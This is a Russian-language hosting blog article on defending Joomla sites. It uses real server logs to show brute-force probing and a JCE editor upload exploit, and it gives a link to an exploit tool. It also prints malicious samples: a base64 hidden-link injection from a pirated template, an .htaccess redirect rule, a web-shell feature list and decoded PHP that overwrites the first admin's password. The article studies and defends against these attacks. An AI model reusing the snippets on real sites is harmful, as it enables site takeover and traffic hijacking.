Защита сайта на Joomla
Для того чтобы защитить свой сайт на CMS Joomla, необходимо проанализировать цели и действия взломщиков, а затем максимально усложнить им задачу. Я изучил логи Joomla сайтов, размещенных на нашем хостинге. Вот к какому выводу я пришел.
Цели взломщика
Их может быть много.
Первая – придушить сайт конкурента. Для этого на сайт направляется огромное количество запросов посредством ресурсов botnet сети. В результате сервер не справляется с возросшей нагрузкой и происходит отказ в обслуживании.
Botnet сеть – сеть зараженных вирусами компьютеров, занимающаяся исполнением команд злоумышленника без ведома хозяина. Таких компьютеров в сети несчетное количество.Блокирование подобного рода атак должно осуществляться администратором хостинга. Далеко не все хостинги способны противостоять подобного рода атакам.
Прочие цели достигаются подбором пароля к административной панели сайта или посредством «дыр» в сторонних расширениях роботами-взломщиками, с последующей вставкой вредоносного кода в CMS.
Вторая – заразить персональные компьютеры посетителей или непосредственно сервер вирусом для вступления в botnet сеть.Третья – перенаправление посетителей на какой-либо сторонний сайт. Владелец стороннего сайта платит за «слив» трафика взломщику.
Четвертая - блокировка операционных систем с требованием отправить смс на номер.
Пятая – подмена одной из страниц сайта на страницу с каким-либо текстом.
Заражение посредством «дыр»
Сама CMS Joomla хорошо продумана, найденные уязвимости быстро устраняются в очередном релизе. Важно отслеживать появление новых релизов и вовремя обновляться до последней версии. В CMS Joomla 2.5 и 3 для этого созданы все условия.
Немного иначе обстоит дело со сторонними расширениями. Интернет наполнен сайтами, предлагающими скачать и установить то или иное расширение с лелебита и прочих хранилищ. Думаю для многих не секрет, что подобные сервисы платят пользователю разместившему файл за скачивания, следовательно, целью размещения расширений, в подавляющем большинстве, является заработок. А как можно заработать еще больше? Разумеется, вставить в код расширения скрытый слив трафика или добавить ссылок на продвигаемые ресурсы. Не каждый скачавший с подобных ресурсов расширения может быстро обнаружить и устранить такие нововведения в коде. Рекомендую брать расширения с сайтов авторов, если это невозможно, тщательно проверять функционирование расширения, скаченное с сервера файлообмена. Кроме того, следить за обновлениями расширений и вовремя их производить.
Список уязвимых расширений для Joomla можно посмотреть на странице The Joomla! ® Vulnerable Extensions List
В качестве примера приведу лог - пример заражения посредством уязвимости редактора JCE
02.05.2013 14:44:21 +0400|118.96.89.45|/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b|direct link|BOT/0.1 (BOT for JCE) 02.05.2013 14:44:22 +0400|118.96.89.45|/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20|direct link|BOT/0.1 (BOT for JCE)
Вы можете увидеть готовый инструмент взлома www.bugreport.ir/78/exploit.htm для уязвимой версии редактора. Закачивается как бы изображение, а внутри файла не изображение, а PHP скрипт, переименовывается этот файл в PHP и исполняется вредоносный код. Поискав на форумах, можно найти уязвимости различных расширений.
Ссылки в шаблонах
Сколько раз я скачивал шаблоны, столько раз боролся с левыми ссылками в них. Вот вам пример кода файла макета контента
warp/systems/joomla/layouts/content.phpиз скаченного шаблона «Yoo Cloud»
<jdoc:include type="message" /> <jdoc:include type="component" /> <?php $fjtj = 'PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGJvdHRvbTowcHg7IGxlZnQ6LTQyNDFweDsiPtCd0L7QstGL0LUgPGEgaHJlZj0iaHR0cDovL2dhbWVwYWtldC5uZXQvIiB0YXJnZXQ9Il9ibGFuayIgPtC40LPRgNGLIEFsYXdhcjwvYT4uPC9kaXY+'; echo base64_decode($fjtj);?>
Страниц с таким творческим подходом в шаблоне может быть очень много. Скопируйте значение, присваиваемое переменной в декодер http://www.artlebedev.ru/tools/decoder/ и взгляните что получится.
<div style="position:absolute; bottom:0px; left:-4241px;">Новые <a href="http://e-kzn.ru/" target="_blank" class="underline">игры Alawar</a>.</div>
* Ссылка преднамеренно изменена, роботы поисковых систем посещают ресурсы, ссылки на которые содержатся даже в текстовом виде.
У меня создается впечатление, что предприниматели скачивают шаблоны с лелебита, вставляют свои ссылки, заливают на лелебит и дают ссылку на скачку. Через сколько таких умных голов прошел шаблон, столько вставок со ссылками мы и увидим.
Файл yoo_cloud_demo_package_j25.zip – 27 блоков со ссылками. Это 27 рационализаторов или один такой жадный?
Подбор пароля
Для противостояния атакам необходимо понять поведение взломщика. Из логов видно, что робот пытается определить тип CMS по характерным признакам
212.109.28.79 - - [04/Apr/2013:00:51:50 +0400] "GET /admin.php HTTP/1.0" 404 525 "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10" 212.109.28.79 - - [04/Apr/2013:00:51:50 +0400] "GET /administrator/index.php HTTP/1.0" 404 539 "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10" 212.109.28.79 - - [04/Apr/2013:00:51:50 +0400] "GET /wp-login.php HTTP/1.0" 404 528 "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10"
Здесь робот не нашел жертву, он получил страницу 404 ошибки и ушел дальше.
Вторая манера поведения, обращение робота к единственной страничке /administrator/index.php
94.137.52.61 - - [04/Apr/2013:07:29:17 +0400] "GET /administrator/index.php HTTP/1.1" 200 6070 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 94.137.52.61 - - [04/Apr/2013:07:29:17 +0400] "POST /administrator/index.php HTTP/1.1" 200 6291 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
Страница вернула код ответа 200, жертва найдена, начинается тупой перебор паролей, который может идти часами, а то и сутками. Причем, робот занимается подбором пароля не единственного сайта, а может работать со списком. Но главное – он к вам обязательно вернется на следующий день для достижения поставленной цели.
Как обмануть робота - взломщика сайта
В первую очередь, обратите внимание на тот факт, что взломщику требуются привилегии Супер-пользователя. При установке CMS Joomla по умолчанию предлагает его имя admin. Измените это имя на произвольное. Если вы этого не сделали изначально, зайдите в менеджер пользователей административной панели и замените его. Этим вы значительно уменьшите шансы взломщику.Изначально я установил плагин jlsecuremysite. Плагин, без указания ключа и значения, возвращает со страницы административной панели на главную страницу сайта. Таким образом, дальнейший перебор становится бесполезным. Но как показала практика – роботы не понимают бесполезность дальнейшего перебора и продолжают его, нагружая этим сервер.
188.242.66.239 - - [07/Apr/2013:00:14:56 +0400] "GET /administrator/index.php HTTP/1.1" 303 339 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:14:56 +0400] "GET / HTTP/1.1" 200 19846 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:14:59 +0400] "POST /administrator/index.php HTTP/1.1" 303 309 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:14:59 +0400] "GET / HTTP/1.1" 200 19765 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:15:02 +0400] "GET /administrator/index.php HTTP/1.1" 303 339 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:15:02 +0400] "GET / HTTP/1.1" 200 19846 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:15:04 +0400] "POST /administrator/index.php HTTP/1.1" 303 309 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:14:56 +0400] "GET /administrator/index.php HTTP/1.1" 303 339 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:14:56 +0400] "GET / HTTP/1.1" 200 19846 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:14:59 +0400] "POST /administrator/index.php HTTP/1.1" 303 309 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:14:59 +0400] "GET / HTTP/1.1" 200 19765 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:15:02 +0400] "GET /administrator/index.php HTTP/1.1" 303 339 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:15:02 +0400] "GET / HTTP/1.1" 200 19846 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" 188.242.66.239 - - [07/Apr/2013:00:15:04 +0400] "POST /administrator/index.php HTTP/1.1" 303 309 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
В результате я решил поменять идеологию, а именно не возвращать роботов на главную страницу, а выдавать страницу ошибки 404. Роботы стали уходить на ресурсы более радушных хозяев.
Что еще можно сделать для защиты
Каптча
Есть мнения, что можно изменить код формы авторизации, вставив в нее каптчу. Человек ручками более десятка раз перебор пароля делать не станет. Робота же каптча не остановит, он будет слать бесполезные запросы, нагружая при этом сервер.
Тег Meta Generator
Система при генерации страниц вставляет в код тег
<meta name="generator" content="Joomla! - Open Source Content Management" />.
Неоднократно читал рекомендации о том, как его убрать в целях сокрытия типа CMS. Это бесполезное занятие. Этим вы только обманите 2ip.ru и не более того. А если кроме возврата ошибки 404 по адресу административной части сайта вставить в корень сайта пустой файл с именем wp-login.php, поверьте – этот воспеваемый школьниками-хакерами чудо-сервис скажет «WordPress найдены признаки использования, Joomla признаков использования не найдено».
Обманывать грамотного человека бесполезно. CMS Joomla имеет множество характерных признаков. Можно легко узнать версию установленной Joomla 1.6/1.7/2.5/3.
Адрес сайта:Покажу самую малую часть признаков.
Признаки в иконках
Если не удалены стандартные шаблоны, или в шаблоне остались стандартные иконки Joomla
http://e-kzn.ru/administrator/templates/bluestork/favicon.icohttp://e-kzn.ru/templates/atomic/favicon.ico
http://e-kzn.ru/templates/beez5/favicon.ico
http://e-kzn.ru/templates/beez_20/favicon.ico
Признаки в директориях
http://e-kzn.ru/images/powered_by.png и прочие, входящие в стандартную поставку.Файлы в корне сайта
http://e-kzn.ru/robots.txthttp://e-kzn.ru/README.txt
http://e-kzn.ru/LICENSE.txt
http://e-kzn.ru/htaccess.txt
Код страницы
Шаблоны лежат в папке templates, большинство расширений имеют в названии сочетание joom.
Типичные признаки взлома сайта на CMS Joomla
Визуальные признаки взлома могут выглядеть как:
- Надпись вида «By GoLD» вместо контента, ну или другая аналогичная глупость.
- При заходе на любую страницу сайта вас перенаправят на «левый» сайт.
- Некоторые файлы CMS Joomla могут иметь дату и время создания на момент взлома.
- В худшем случае, что вы ничего подозрительного не заметите.
Что делают взломщики с взломанным сайтом
- Простая замена файла index.php в корне сайта. При этом при заходе на главную страницу сайта отображается чистая страница, либо какое-либо содержимое, отличное от вашего контента.
- Вставка в коды CMS, шаблонов, плагинов, модулей и компонентов (по сути это некоторые или все php файлы) кода перенаправления на сторонние ресурсы для слива трафика.
- Запись директивы перенаправления на сторонний ресурс в файле .htaccess.
- Запись во вложенные папки php файлов, позволяющих осуществлять доступ к файловой системе для осуществления контроля над сайтом.
Пример директивы перенаправления в файле .htaccess
RewriteRule (.*) http://e-kzn.ru [L,R=302]
* Ссылка преднамеренно изменена, роботы поисковых систем посещают ресурсы, ссылки на которые содержатся даже в текстовом виде.
Пример замены файла index.php
Пример вставки вредоносного кода
Можно быстро посмотреть этот код декодером в разделе инвентаря на сайте Артемия Лебедева http://www.artlebedev.ru/tools/decoder или странице весьма полезного инструмента - Hex Decoder http://ddecode.com/hexdecoder/. Скопируйте код заключенный в кавычки в форму.
Еще случай вставки, поведение аналогичное, но кроме роботов перенаправляются мобильные устройства.
Учтите тот факт, что вредоносный код может располагаться во всех php файлах и содержаться в каждом из них множество раз. Как видно из расшифрованного кода, для роботов поисковиков и для результатов выдачи вместо сайта жертвы будет представлен сайт взломщика. Посетители, пришедшие на страницу не из поисковой системы, увидят вашу оригинальную страницу.
Запись во вложенные папки
Маскировка php скрипта под картинку в директории images/stories. Скрипт позволяет исполнить любой код, переданный в запросе GET/POST. Взломщик может получить полный контроль над файлами CMS и базой данных.
Еще один пример. Веб-шелл спрятанный глубоко во вложенные папки. Работает с Joomla, Wordpess и еще какими-то CMS. Он представляет собою 2239 строк php, обладает большими возможностями:
- known vulnerability (i.e. unpatched system)
- undisclosed (new) vulnerability
- configuration / admin. mistake
- brute force attack
- social engineering
- Web Server intrusion
- Web Server external module intrusion
- Mail Server intrusion
- FTP Server intrusion
- SSH Server intrusion
- Telnet Server intrusion
- RPC Server intrusion
- Shares misconfiguration
- Other Server intrusion
- SQL Injection
- URL Poisoning
- File Inclusion
- Other Web Application bug
- Remote administrative panel access bruteforcing
- Remote administrative panel access password guessing
- Remote administrative panel access social engineering
- Attack against administrator(password stealing/sniffing)
- Access credentials through Man In the Middle attack
- Remote service password guessing
- Remote service password bruteforce
- Rerouting after attacking the Firewall
- Rerouting after attacking the Router
- DNS attack through social engineering
- DNS attack through cache poisoning
Фрагмент декодированного кода, он добавляет администратора в CMS Joomla:
mysql_connect("localhost","$user","$pass"); mysql_select_db("$db"); $sor = mysql_query("select * from jos_users order by id ASC limit 1"); echo mysql_error(); $sonuc = mysql_fetch_array($sor); $adminid = $sonuc['id']; $admin = $sonuc['username']; $guncelle = mysql_query("update jos_users set password = '$joomhash' where id='$adminid'"); if($guncelle){ echo 'Completed.... JOOMLA-ADMIN : '.$admin.' | JOOMLA-PASSWORD : ayaz'; }else{ echo mysql_error(); }
Выявление скрытых редиректов на страницах сайта
Увидеть скрытые редиректы на страницах сайта поможет ниже приведенная форма. Скрипт посмотрит на страницу глазами поисковых роботов, пользователей и мобильных устройств.
Адрес страницы:Если эта статья показалась вам полезной, пожалуйста, проголосуйте за нее. Это поможет другим быстрее найти эту статью из множества других менее полезных.
( 40 Голосов )
Комментарии
Если при выявлении скрытых редиректов обнаруженo:
Посетитель с Google: 302 Перенаправление на site.com/a42sjcw
что и где искать и какие действия предпринять? Спасибо.
Второй возвращает HTTP/1.1 500 Internal Server Error (проверить ответ сервера), сначала надо разобраться почему возникает ошибка "не найдено представление".
RSS лента комментариев этой записи